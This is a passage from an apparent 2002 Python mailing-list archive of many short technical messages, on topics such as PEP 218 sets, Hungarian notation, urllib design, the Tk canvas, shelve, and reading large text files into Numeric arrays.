A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From roy at panix.com Sun May 19 15:22:17 2002 From: roy at panix.com (Roy Smith) Date: Sun, 19 May 2002 15:22:17 -0400 Subject: Merits of replacing bash with python References: Message-ID: bowman wrote: > Python, of course, will do much more than bash is capable of, and presents > a more orthogonal system than stringing together bash, gawk, sed, cut, and > so forth. That's what they said about Perl, too :-) From rnd at onego.ru Thu May 16 10:49:14 2002 From: rnd at onego.ru (Roman Suzi) Date: Thu, 16 May 2002 18:49:14 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: Message-ID: On Tue, 14 May 2002, Thomas Heller wrote: >"Roman Suzi" wrote in message news:mailman.1021395327.8651.python-list at python.org... >> On 10 May 2002, Coady wrote: >> >> BTW, what are the chances of PEP218 being built into Python? >> (I mean, as built-in type, not library) > >It's listed as deferred (and its not mentioned in Guido's PEP >parade). >Maybe it needs a new champion? Hmmm... What do you mean? Set functionality is being asked every day (for example, sorted list vs. dictionary thread). Implementation (as I understand) is there. Why does Guido have any objections? >Thomas Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Wednesday, May 15, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "No warp, Captain. There's cat hair all over the engine!" \_ From phd at phd.pp.ru Sat May 18 03:46:33 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 18 May 2002 11:46:33 +0400 Subject: How do you code in Python ??? In-Reply-To: <3CE58D4A.AA521EA1@engcorp.com>; from peter@engcorp.com on Fri, May 17, 2002 at 07:07:54PM -0400 References: <409a56e2.0205170047.429beb44@posting.google.com> <2_7F8.143579$o66.425118@news-server.bigpond.net.au> <3CE58D4A.AA521EA1@engcorp.com> Message-ID: <20020518114633.B8164@phd.pp.ru> On Fri, May 17, 2002 at 07:07:54PM -0400, Peter Hansen wrote: > Byron Hammond wrote: > > > > > Another one is which are "standard" coding [styles] in Python ? > > > > I'm sure that including type information in the name of a variable could > > be a good idea if it was important to know the type. eg: > > nItemsSoFar = number of items so far (integer) > > sID = identification (string) > > cCar_Fast = instance of the car class. This is a fast one > > Nooooo!! Not Hungarian notation! :-) > > (Code with the above style is generally less readable than code > without. This is probably a religious matter, but I believe few > coding standards would recommend the above naming conventions.) No, it is not a religion issue. There are pure technical objection. For example, if you have an integer variable, and call it nItems, and later you change the var to be a list, will you change its name in all source files? It is tiresome. But if you will not change its name, you'll have even worse situation - name that shows wron type. Hungarian notation is bad. (Another sign of it is that M$ uses it :) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From kragen at pobox.com Mon May 20 23:27:00 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 23:27:00 -0400 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <6qd6vtxzam.fsf@abnoba.intevation.de> Message-ID: <83n0uumb97.fsf@panacea.canonical.org> Gon?alo Rodrigues writes: > I believe 2. is more stringent: > > equal objects iff equal hash values That cannot be, unless your hash values are potentially very large (e.g. longs, or strings). From tim at vegeta.ath.cx Wed May 8 19:42:49 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Wed, 08 May 2002 23:42:49 GMT Subject: NEVER MIND! References: Message-ID: Delaney, Timothy graced us by uttering: [ snip ] > Firstly, may I suggest that you should have posted this in reply to your > original thread, so that people will see it when they read that. My initial > thought ws that this was in response to another problem that has been > discussed recently. For those of us who access these posts via comp.lang.python, _his_ post (Subject: NEVER MIND!) _was_ listed as a reply to his original post, since his References: header contained the Message-ID of his original post. Your reply (Subject: Re: NEVER MIND!), however, did _not_ show up as a reply to either, since it completely lacked References: header. As a result, replies you make to messages often spawn entirely new threads under a strict, reference-based threading system, even though threading by Subject: header still works. Because of this, unless I disable strict threading in slrn, your replies and subsequent followups to them show up in different threads elsewhere in the header window. As I choose to use strict threading in my newsreader, I have never complained that your posts don't give proper References: headers. But the OP did post his message as a followup to his original, whether or not his subject line reflected this. To the OP: there is reason behind the tradition of the "Re: subject_line" and "New_subject (was: old_subject)" subject headers. Not respecting them may cause more confusion in the future, leading to less people willing to reply. [ snip ] > Tim Delaney HTH Tim Hammerquist -- The house smelled musty and damp, and [a] little sweet, as if it were haunted by the ghosts of long-dead cookies. -- Neil Gaiman, "American Gods" From phd at phd.pp.ru Sat May 25 12:41:02 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 25 May 2002 20:41:02 +0400 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via In-Reply-To: ; from python@gbronline.com on Sat, May 25, 2002 at 11:27:00AM -0500 References: Message-ID: <20020525204101.A21758@phd.pp.ru> On Sat, May 25, 2002 at 11:27:00AM -0500, Peter F. Ferris wrote: > "Get used to it"?!?!? You're kidding... Get used to it. Spam is the problem no one can get rid of entirely. > I beg to differ. Perhaps you didn't read about Shibboleth. Clear text > addresses do not appear anywhere in the messages unless the (l)user writes > it in the message body. There are many ways to hide your e-mail address. None of them works. Sooner or later your address leaked, and spammers get you. Don't use fake email addresses on Usenet: http://www.complang.tuwien.ac.at/anton/fake-email.html Do not rely on email-hiding technics, at least do not rely on them alone. Filter your incoming email using blacklists (see openrbl.org for a list) and spamfilters (I recommend Vipul's Razor - razor.sf.net and SpamAssassin - spamassassin.org). And above all - fight against spam. Never buy anything from spammers. Complain to spammer's ISP (spamcop.net is one of the best and most respected services to complain). Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From tim at vegeta.ath.cx Sat May 4 20:25:55 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Sun, 05 May 2002 00:25:55 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> Message-ID: Simon Foster graced us by uttering: > "Tim Hammerquist" wrote: > > > Radians are what trig is based on. Otherwise the formula for the > > > area of a circle would be 'A = 360r'; since when does a unit > > > circle have an area of 360 square units? > > Where do you get this from? A = pi * r^2? You're right. Not enough coffee and too much time passed since college trig. =) Correction: : If trig were based on degrees, the following would be true for a : unit circle: : : [ A = (180 * r^2) = 180 sq. units ] : [ C = (360 * r) = 360 units ] Thus: "since when does a unit circle have an area of 180 sq. units?" ^^^^^^^^^^^^^ > > > OTOH, `man 3 sin` on my system documents the sin() function of > > > the C math library _is_ documented as taking radians. On a POSIX > > > system, this is usually what is called by Ruby's Math.sin() > > > method. > > Maybe he's not on Unix? My handy copy of the Turbo C++ 3.0 Library Reference manual from my MS-DOS version of the software also documents sin() as taking a value in radians. (C)1990. A.D. So this is far from new. One might say it's a standard... A trig calculator's default setting doesn't dictate the default of the world at large. Furthermore, not all *nix systems are POSIX-compliant. And very few POSIX-compliant systems are _completely_ compliant with the POSIX standard. My only intent in mentioning POSIX was that on most *nix systems (esp. POSIX ones), you can #include and compile and expect to call a sin() function (that, btw, takes its argument in radians). Other PC-oriented operating systems lack a standard math lib "out-of-the-box". Tim Hammerquist -- guru, n: a computer owner who can read the manual. From gb at cs.unc.edu Mon May 13 16:48:30 2002 From: gb at cs.unc.edu (gb at cs.unc.edu) Date: 13 May 2002 16:48:30 -0400 Subject: idle and the devil References: Message-ID: In Emacs I rebound the middle mouse button to do nothing. I didn't use it for paste anyway... I don't know if idle supports rebinding the mouse buttons. Seems like it would be a trivial hack to the source to fix it. gb From kragen at pobox.com Sat May 25 02:09:42 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 02:09:42 -0400 Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: <83d6vklpw9.fsf@panacea.canonical.org> "Danyel Fisher" writes: > I was pleased to discover some time back that code written entirely on a > UNIX machine worked with virtually [*] no changes on a PC. So--assuming you > aren't doing anything too exotic, you should find that most code you > generate is largely cross-platform. > > [*] Ok, so the original coder had written something like > new Socket( host, port ) > it turns out that PC systems want the input to be a tuple, > new socket( (host, port) ) All of my code for my Unix machine runs with no changes on my PC, because my PC is my Unix machine. :) FWIW, your problem was a change between 1.5.2 and 2.x, not a change between Unix and Microsoft Windows. From speakstofish at hotmail.com Fri May 3 18:47:23 2002 From: speakstofish at hotmail.com (Fahd Khan) Date: Fri, 03 May 2002 22:47:23 GMT Subject: Low level python References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> Message-ID: <3cd31286.5344301@news.mylinuxisp.com> I've used Python before in a device driver. It wasn't a kernel-mode driver (either a GPIB device or serial, don't recall), and in our case in fact we used Python for *speed*. That is, we needed access to some Python code to do some data analysis and thought we'd save a little time by sticking it directly in the driver. The driver itself is C. Python is embedded (we pull python code out of a string table). Not 100% Python, but it's an example of how you could use Python in a driver for something useful. ~fk On Fri, 3 May 2002 14:36:37 +1200, "Matthew Sherborne" wrote: >You guys are scaring me. I don't feel safe on the cutting edge! > >It actually doesn't look that hard using WinDriver (they even have device >drivers written in VB!) > >One prob I have to convince the rent payers: It uses 2-3Mb of RAM when >running! Who wants a 3Mb device driver? > >I remember that deeply embedded python recompile python dropping langauge >features out. Is there an easy way to do this? > >Anyone know how I can reduce the memory footprint of Python? > >Matthew Sherborne > > From robert.plant at clara.co.uk Fri May 17 13:35:14 2002 From: robert.plant at clara.co.uk (Robert Plant) Date: Fri, 17 May 2002 18:35:14 +0100 Subject: Python and IIS References: <1021653047.71194.0@demeter.uk.clara.net> Message-ID: <1021656979.15061.0@iapetus.uk.clara.net> "Robert Plant" wrote in message news:1021653047.71194.0 at demeter.uk.clara.net... > Hi, > > I am sorry if this seems a stupid post but i really dont know how to do > it..... > > I would like to configure IIS 5 to use python cgi scripts. > > I have set up the registry to use the "c:\\python.exe" -u %s %s > A question about this, i created a new string value called .py is this > right?? > > I am confused as to where to put the python script in IIS, and how to > reference the python location in windows, i have only used it in linux > before, ie !#/usr/bin...... > > I put the scripts in a directory in the root folder. > > Anyway, i put the script in a directory and made a html file, but when i > click the button it only prints out the file as text. > > Please could somebody help me. > > Thanks > rob OK, thanks, thought i would ask this groups as well tho.... Cheers rob From BPettersen at NAREX.com Tue May 7 18:08:39 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 7 May 2002 16:08:39 -0600 Subject: survey: is shelve broken? should it be fixed? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E37@admin56.narex.com> > From: Alex Martelli [mailto:aleax at aleax.it] > > On Tuesday 07 May 2002 21:28, Bjorn Pettersen wrote: >> [snip, must work with nested objects] > > That's what I see using my patch (corrected for a bug after I > posted it to sf): Ok, I looked at the patch. Looks pretty straight forward. The only thing that remains is to rename the smart argument to something more descriptive (my personal favorite is 'autoUpdate'), and setting the default equal to False instead of 0 . +1 -- bjorn From robin at jessikat.fsnet.co.uk Tue May 28 12:36:31 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Tue, 28 May 2002 17:36:31 +0100 Subject: ReportLab Toolkit 1.14 Released Message-ID: Version 1.14 of the ReportLab Toolkit has been released. This version includes a beta quality SVG graphics renderer thanks to Dinu Gherman and has also acquired the ability to use TTF fonts which was contributed by Marius Gedminas. There are also some minor Jython compatibility fixes and some new charts. Downloads available at http://www.reportlab.com -- Robin Becker From moonminer2001 at yahoo.co.uk Mon May 13 04:28:12 2002 From: moonminer2001 at yahoo.co.uk (moonminer) Date: 13 May 2002 01:28:12 -0700 Subject: Why not an embedded version of python? Message-ID: Maybe it is stupid but I think there should be a version of python which JUST include the CORE part and can be used in an embedded system, just like Lua. Lua is not so OO compared to python. And I think there are still not many ppl there except these game programmers. But if there is a clean - tiny version of python we will have another good choice. One possible way to do is get rid of all the modules and use uClibc to build the core again. Does anyone have tested it? From jepler at unpythonic.net Tue May 21 15:53:09 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 21 May 2002 14:53:09 -0500 Subject: Drawing Trees In-Reply-To: References: Message-ID: <20020521145308.B4629@unpythonic.net> Apparently it is a performance problem in the Canvas widget to repeatedly create and destroy objects---I had a program that emulated a 14-segment display (tcl/tk) and while it first ran with <<1%CPU, after 24 hours it would run with ~10%CPU. At each iteration (about 1/second) it would destroy the existing segments and create new ones. When I changed to using the 'coords' command to either place a segment onscreen or move it off the canvas to hide it, I got rid of this problem. The Pythonic translation would seem to be c = Canvas(...) # ... item = c.create_.... # ... c.coords(item, (100, 100)) # move item to (100, 100) Of course you'll have to have something a little more complicated than I did -- a pool of available items of each type, rather than a set maximum number of lines .. Jeff From pearu at cens.ioc.ee Sun May 5 18:30:36 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Mon, 6 May 2002 01:30:36 +0300 (EEST) Subject: F2PY problems In-Reply-To: <3CD52A18.DB86DAB0@kfunigraz.ac.at> Message-ID: Hi, On 5 May 2002, Siegfried Gonzi wrote: > I would strongly emphasize my wish list that some expert makes also a > support for the F compiler. The F compiler is free for Unix, Linux and Ok, I have added the F compiler to scipy_distutils, but it _remains_ unsupported because this compiler is just too incomplete: it cannot compile fixed format Fortran 90/95. And F2PY needs this feature in order to support wrapping Fortran 90 modules to Python in a portable way. Regards, Pearu From aleax at aleax.it Fri May 3 03:41:17 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 07:41:17 GMT Subject: Is there a way to 'mask out' inherited methods? References: Message-ID: Ralf Juengling wrote: ... > I'm fiddling around with some new 2.2.-features. I want to > inherit from a builtin-type but want to use only a subset > of its functionality: > > class Vector(list): ... > I.e. Vector should keep or inherit methods meaningful to vectors > (e.g. '__str__', '__getitem__', '__cmp__' and so on), and should > somehow undefine or mask out any methods not meaningful to it > ('append', 'reverse', ..). > > Any idea how to achieve that easily? "Easily" within the constraints you stated, only one way: add a __getattribute__ method that selects only the attributes (note that methods are also attributes) you want to expose, e.g.: class Vector(list): mymethods = '__str__', '__getitem__', '__cmp__' def __getattribute__(self, name): if name in self.mymethods: return object.__getattribute__(self, name) else: raise AttributeError, name Forget *SPEED*, of course -- when you define __getattribute__ Python calls it for EVERY attribute request, so your code will just crawl. For speed, your choice is: either drop the constraint that Vector must subclass list, and delegate instead; or, if the constraint MUST be kept, override all methods you want to 'mask out' and have each of them raise AttributeError (not quite the same thing, of course -- getattr would still 'see' them, for example). A custom metaclass might help (not trivial). My advice: forget subclassing when you don't want to expose all of the parent-class interface -- use delegation instead. Alex From chris at cmb-enterprises.com Mon May 6 12:16:48 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 06 May 2002 12:16:48 -0400 Subject: Python vs. Perl, which is better to learn? References: <3CD60E05.D9D8C1A6@engcorp.com> <3CD623A7.4EE48B14@engcorp.com> Message-ID: In article <3CD623A7.4EE48B14 at engcorp.com>, Peter Hansen wrote: > Chris wrote: > > > > In article , > > Christopher Browne wrote: > > > > > Outside of that, I'd suggest that a lot of the problem comes from Perl > > > having been a "hot, in-language" attracting a lot of bad programmers. > > > > > Exactly. You can write bad code in any language. On the other hand, > > you can write really good, robust, readable, maintainable code in Perl. > > > > Programming is about 99% concepts and 1% syntax, if that much even. A > > poorly written Python program that can be easily read is still poorly > > written. > > More out of curiosity than an intention of starting a flame war, but > would someone post a snippet of twenty or so lines of Perl which they > believe is "readable"? > > I've been looking at Ruby code in another group, and I can only assume > that Ruby is considered even by Perl programmers to be more readable > and "clean" than Perl. I find it significantly less readable than > Python however, so I would find the claim that Perl can be very readable > to be a stretch. You are essentially preaching to the choir. :-) I first learned Perl, then Python, which was a wonderful tool for helping me finally bend my mind around OOP concepts, and now I've come to prefer Ruby for being, at least in my experience, more predictable and flexible than Python. That said, I've glanced over Haskell a bit in moments of boredom, and I think it's just possible that not having a background in functional programming is keeping me from enjoying some of the power of Python. For what it's worth, Perl6 should improve things a great deal, with sigils having been re-examined, and with the reference/object issue resolved. Additionally, subroutines and methods will be gaining named parameters, and optional strong typing. From coady at bent-arrow.com Tue May 21 22:05:56 2002 From: coady at bent-arrow.com (Aric Coady) Date: Tue, 21 May 2002 19:05:56 -0700 Subject: ANN: set-0.2 module available In-Reply-To: Message-ID: <73D815E2-6D28-11D6-8C24-0030656F6958@bent-arrow.com> On Tuesday, May 21, 2002, at 03:15 AM, Denis S. Otkidach wrote: > Here is another problem: >>>> from set import set >>>> s=set((1,3,5)) >>>> hash(s) > 1272199707 >>>> s&=set((2,4,6)) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: set has become immutable > > If the set became immutable it should not be modified in-place, > but &= operator should create new object according to ?= > documentation. Unfortunately, it makes this error prone "2 in 1" > solution even more hard to debug. I agree that's unfortunate, but I like the alternative even less. To me, the fact that it will raise an error if you inadvertently use a set as if it's both mutable and hashable is precisely the reason why it's an acceptable compromise to let it act as either mutable or hashable. If I had to give up those immutable errors, I'd rather just choose one (mutable) to be the default and force those who want it to be hashable to choose that explicitly. From egrossde at yahoo.de Sun May 5 13:44:52 2002 From: egrossde at yahoo.de (jb) Date: Sun, 05 May 2002 19:44:52 +0200 Subject: Global variables in different moduls Message-ID: <3cd56d91_1@goliath2.newsgroups.com> I have a module globals.py, where I store som global variables, for example the variable . So the first line of globals.py is x = None The module globals.h is imported in the module main.py and other.py (and in several other modules). Now when the main program starts in main.py, the first statement is x=3 but later in other.py still has the value None. Am I making a mistake somewhere or is this normal? -- Janos Blazi Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort; (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From brueckd at tbye.com Wed May 8 10:57:17 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Wed, 8 May 2002 07:57:17 -0700 (PDT) Subject: urllib, urllib2, httplib -- Begging for consolidation? In-Reply-To: <23891c90.0205080203.7af29579@posting.google.com> Message-ID: On 8 May 2002, Paul Boddie wrote: > > BUT, if there were to occur some sort of consolidation (meaning, > > introducing incompatibilities or a whole new module), then we should use > > that as an opportunity to restructure/redesign that whole set of modules > > because, IMO, they've evolved past their original design. If we can come > > up with a good organization, the actual implementation could be handled by > > various members of the community. > > I think we should stick with the urlopen concept because it's very > powerful - just open a URL and pretend that it's a file. Oh, I wasn't saying that it's not powerful (it is), just that it's not too commonly useful. Obviously YMMV, but for me it has been pretty rare to want to open some generic resource and read it. I'm not arguing that we should get rid if this functionality, just observing that for me it has never been the common case, and doing what has been the common case (http connection + extra headers + some data to post) is always more work than it needs to be. > The clever design will arise when specialised features of various > protocols need to be specified whilst using the general interface, But if you're specifying features specific to a certain protocol, why use the general interface to do it? That makes the general interface hacky and cluttered. My argument is that, right now, people use the general interface (urllib) not because they don't know what type of URL they're opening (ftp/http/file/etc) but because the modules somewhat discourage using the other ones. I don't want to make it sound like too big of a deal, but the use model today doesn't make sense: today if a newbie wants the easiest way to open an HTTP URL, he should use urllib. If he wants to do something a little more complex, he should scrap the urllib code and use httplib. Like I said, it's not too big of a deal, but it makes more sense if moving from the simple to the more complex case is incremental and based on the same code. > then there are plenty of other packages which deal with this kind of > problem; for example, the DB-API has ways of allowing database-specific > functionality to be specified when opening database connections. Actually, this is a great example of what I'm saying we need! :) The DB API does _not_ provide you a way to open an unknown database type, but a common way to operate on a database connection once you have one. It would be "powerful" if the DB API let you pass in a string that, among other things, included "oracle", "gadfly", "mysql", etc. to denote database type and it would then go connect to it, but such a feature wouldn't be very *useful* because in practice you almost always *do* know what database type you're connecting to. So, you use a specific database module (e.g. DCOracle2) to get a database connection (to which you can pass all sorts of custom information to), after which you can use the connection in a pretty generic way. At the same time, however, the connection object can still expose additional vendor-specific functionality in addition to what is specified in the DB API. A similar approach might work well for the different protocol libraries - go to the appropriate module to open the one you want (setting it up with any protocol-specific information), after which you have a file-like object that your code can use generically. Note that on top of all this somebody could still have the urllib functionality that takes a generic URL, figures out the appropriate protocol, and returns the correct "connection" object for your code to use, but such a top-level function would *not* be the place to start adding protocol-specific options. One last thing: it's enticing to try to come up with a generic model for protocols like the DB API, but we can't take that analogy too far because with the DB's the differentiating factor is mostly just the vendor and the connection step, after which the database will be used often identically regardless of vendor. With network protocols, however, there is much less overlap in both functionality and how you'd use them (and rightfully so since they are different protocols built to serve different purposes!) And that's the whole reason why a generalized interface is nifty but less useful - the protocols were built to do different things so trying to use them all the same way is essentially dumbing them all down near the level of just a file (and it's ok to have such a dumbing down function, but it's just not the common case). > I strongly disagree that URL manipulation should be accessed through a > HTTP-specific module - the last thing we need is a "beware of the > leopard" situation in the standard library (where things are tucked away > in obscure or bizarre places, depending on the context of the enquiry). I agree completely. Perhaps I wasn't very clear but I was advocating a consolidation of url handling into a specific module, that is possibly accessbile through the different protocol modules too. On second thought, that's a dumb idea - it should all be in it's own module. Due to evolution we have the opposite today: people look in urllib/httplib instead of urlparse and vice versa, for example. > > We could take the same approach with other protocols, and include modules > > for FTP, plain files, etc. With all those in place we could still have the > > "open any type of URL" routine built on top, but it should work only for > > the simplest of use cases; if you need something more complex then you'd > > go use the corresponding protocol library yourself. > > The key to this exercise is making the uncommon case almost as easy to > handle as the common case so that one doesn't necessarily need to > learn a completely new framework in order to get that 1% of > functionality that the common case doesn't deal with. I think I get your point, but I'd state it as "the key is to try to have each decreasingly common case build on the previous case" (so you don't have to relearn and you don't have to toss out work already done). -Dave From dsavitsk at e-coli.net Sat May 11 12:42:56 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Sat, 11 May 2002 16:42:56 GMT Subject: idle and the devil References: Message-ID: "Siegfried Gonzi" wrote in message news:abji97$q7q$1 at newsreader1.netway.at... [*** reasons why idle on win32 sucks ***] > I could not find any pointers in the deja news archive because I have got no > idea under what keyword I should try to search. > why not vote with your feet and try one of the other fine editors on windows? i personally find PythonWin to be about the best editor i've used for any language. but if you search the groups for "which editor should i use" or something like it you are sure to find a suitable replacement. -d From chris at cmb-enterprises.com Mon May 13 02:32:45 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 13 May 2002 02:32:45 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> Message-ID: In article <87offlnq3k.fsf at mathdogs.com>, Mike Coleman wrote: > Oleg Broytmann writes: > > BTW, the idea of Perl Golf is interesting, but unapplied to Python. It > > is possible to write short ugly programs in Python, but I would not to make > > them the goal of a contest. > > I'd better see a contest for "Python elegance", but unfortunately > > "elegance" is hard (though not impossible) to measure. > > That was my thought exactly. It's kind of a cool idea, but measuring the > wrong thing. The shortest programs may have hack value, but they're > absolutely awful in terms of readability, maintainability, etc. This may be > orthogonal or even somewhat in line with the Perl ethos Perhaps at times it is the result, but the driving force in the Perl community, from my experience, is that there is more than one way to do it. Give a group of Perl programmers a problem and you'll probably get more different answers than there are people giving them. In the end, the best idioms become commonplace, but they become commonplace not just because they're obvious, though that might be the case, but because the alternatives have been explored and the accepted approach has genuine benefits. While I enjoy Python - and I do... it opned up the world of OO programming for me - I think there's almost a danger in things being too obvious. Creativity can be a messy business, but ultimately it leads to better places. From dalecp at barak-online.net Wed May 8 18:23:11 2002 From: dalecp at barak-online.net (Max F. Rotem) Date: Thu, 9 May 2002 00:23:11 +0200 Subject: mod_python , mod_snake Message-ID: <3cd99770@news.barak.net.il> Hello All ! The question is : Maybe anyone can suggest Me how to use , and with what web server Apache (1.3.x or 2.x) , mod_python or mod_snake.....? I work on Windows 2000 platform. Best Regards , Max F. Rotem From erno-news at erno.iki.fi Fri May 10 07:29:17 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 10 May 2002 14:29:17 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , martin at v.loewis.de (Martin v. Loewis) writes: || i don't know such people either. but since many people only know || languages that aren't written in ascii, it seems fairly probable that || they exist. | I really question this claim. Most people that develop software (or | would be interested in doing so) will learn the latin alphabet at | school - even if they don't learn to speak English well. maybe someone with first hand experience will chime in. but regardless, if you don't know english well, i would imagine it to be quite uncomfortable to write programs when you cannot use your native language. -- erno From pajer at iname.com Mon May 6 10:32:37 2002 From: pajer at iname.com (Gary Pajer) Date: Mon, 06 May 2002 14:32:37 GMT Subject: SciPy won't install (Win98) Message-ID: <9uwB8.105409$Lj.7956538@bin4.nnrp.aus1.giganews.com> I just downloaded the SciPy installation .exe, and it won't run properly. The second screen asks me to choose which installation of Python I'd like to put SciPy in. But the field is blank, and down below in the text control box, there is a blinking grey cursor, but I can't type anything into the field. I downloaded it again: no change. ??? The archive seems to include four sub-directories: gui_thread, Include, Numeric, and scipy, plus a file called Numeric.pth, which contains the word "Numeric" and nothing else. Can I just extract these from the self-executing archive and install by hand? Would all these subs go into ...\site-packages\scipy? Thanks, Gary From aleax at aleax.it Wed May 1 04:16:43 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 08:16:43 GMT Subject: Bulding arrays from text file data. References: <28bbdc67.0204301518.5e7c41c8@posting.google.com> Message-ID: Joe Woodward wrote: > Does anyone know of a faster way to build an array out of text file > with formatted data. What I have been doing works well, but now my > files and 200MB and up. The following way builds a Numeric.array > without knowing the size to start with. I can then resize it after the > fact. > > > yldpos=Numeric.array( map(float,re.split('\s+',string.strip(open('datafile.txt').read())))) The two importantly-different approaches are: either you read all of your file into memory first, and then process that huge string, or you loop. The former approach tends to work quite fast as long as all of your data fits comfortably into physical memory, but its performance is "fragile" -- you risk 'thrashing' your VM system and degrading the performance terribly as soon as your data sizes are too large. The little-at-a-time approach may therefore be preferable for files that are large enough. It takes some care about HOW you grow the array you're preparing as new data comes in; if you grow too little at a time you may fall into quadratic behavior. Python is pretty clever about how it grows its own lists, so you might want to try an iterator-based approach (need Python 2.2) and see how it fares as a compromise, e.g.: from __future__ import generators def allwords(fileobj): for line in fileobj: for word in line.split(): yield word yldpos=Numeric.array(map(float,allwords(open('datafile.txt')))) compared to an entirely list-based approach: yldpos=Numeric.array( [ float(x) for line in open('datafile.txt') for x in line.split() ] ) These are both based on iterating on the file by-line rather than gulping the whole file down at once. The equivalent based on the whole-gulp idea might be: yldpos=Numeric.array(map(float,open('datafile.txt').read().split())) Try each, and see how the performance goes... Alex From jb at cascade-sys.com Tue May 21 00:25:34 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Mon, 20 May 2002 21:25:34 -0700 Subject: Licensing question References: <3ce8614f_5@nopics.sjc> Message-ID: <3CE9CC3E.F22C3B5D@cascade-sys.com> Adonis wrote: > any feedback would be greatly appreciated. Python creator Guido van Rossum has said publicly: It's OK to want to make money. I always favorably impressed that he took steps in the licensing to allow commercial spin-offs using Python technology, instead, say, of trying to lock derivatives in the public domain ala Stallman's CopyLeft. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From tom_verbeure at hotmail.com Thu May 2 17:57:43 2002 From: tom_verbeure at hotmail.com (Tom Verbeure) Date: 2 May 2002 14:57:43 -0700 Subject: Perl-like backtick in Python References: <3CD18BF3.2F43AA4A@alcyone.com> Message-ID: > Tom Verbeure wrote: > > > In Perl i can do something like this: > > > > $str = `cat myfile.in`; > > > > Basically the string that is surrounded by the backticks is executed > > by a shell and the stdout is returned as a string. > > > > In the python library, there is spawn*, exec* and system, but the > > return the exit status of the command, not the output. Any suggestions > > about who to do this? > > You want os.popen, or one of the related beasts in the popen2 module. That would be very ugly, wouldn't it? But after a long hunt in the lib.pdf, I found the 'commands' package: commands.getoutput("cat myfile.in") does the trick! Tom From mwh at python.net Fri May 17 04:54:34 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 17 May 2002 08:54:34 GMT Subject: python fails after upgrade to 2.2.1 References: Message-ID: Fuzzy writes: > every time something tries to use a module it fails > to find it. they do exist in /usr/local/lib/python2.2/lib-dynload > but I don't know how to convince python they are there?? You might want to check permissions on the files in that directory. There can be interactions between umask & distutils. Other than that, try "python -v" or "python -vv" and execute "import math". Cheers, M. -- Premature optimization is the root of all evil. -- Donald E. Knuth, Structured Programming with goto Statements From kragen at pobox.com Tue May 28 18:22:43 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 18:22:43 -0400 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> <3CF263EF.639DD115@earthlink.net> Message-ID: <836617ud3g.fsf@panacea.canonical.org> Hans Nowak writes: > Simon Budig wrote: > > The strings are from an external source, so I have no control over them. > > In that case, Alexander's remark about security risks with eval > and exec are on point. Don't do this. Whether or not your program can trust input is a separate issue from whether or not it can control that input. Not all user input is untrusted; in particular, if your program has no privileges not also possessed by the sender of the input, it is safe to trust that input. Be aware that the sender of the input may not be who you think it is, though. A PostScript viewer might have input supplied by anybody who wrote a PostScript document the user thinks they want to read, for example. From python at rcn.com Sun May 5 22:30:32 2002 From: python at rcn.com (Raymond Hettinger) Date: Sun, 5 May 2002 22:30:32 -0400 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: >, I wasn't very clear, in the above example, the result I am > looking for is > > >>>a=(1,2) > >>>b=(2,3) > >>>a+b > (3,5) > > > if that makes sense, I don't want to append, I want to add. > Then, you want elementwise operations. Take a look at matfunc.py at http://users.rcn.com/python/download/python.htm >>> from matfunc import Vec >>> Vec([1,2]) + Vec([2,3]) [3, 5] Raymond Hettinger From tdelaney at avaya.com Sun May 26 20:37:12 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Mon, 27 May 2002 10:37:12 +1000 Subject: New to Python... Message-ID: > From: Ken [mailto:ken at hotmail.com] > > Hi, I am new to python. I am just wondering how different it > is from C++? > 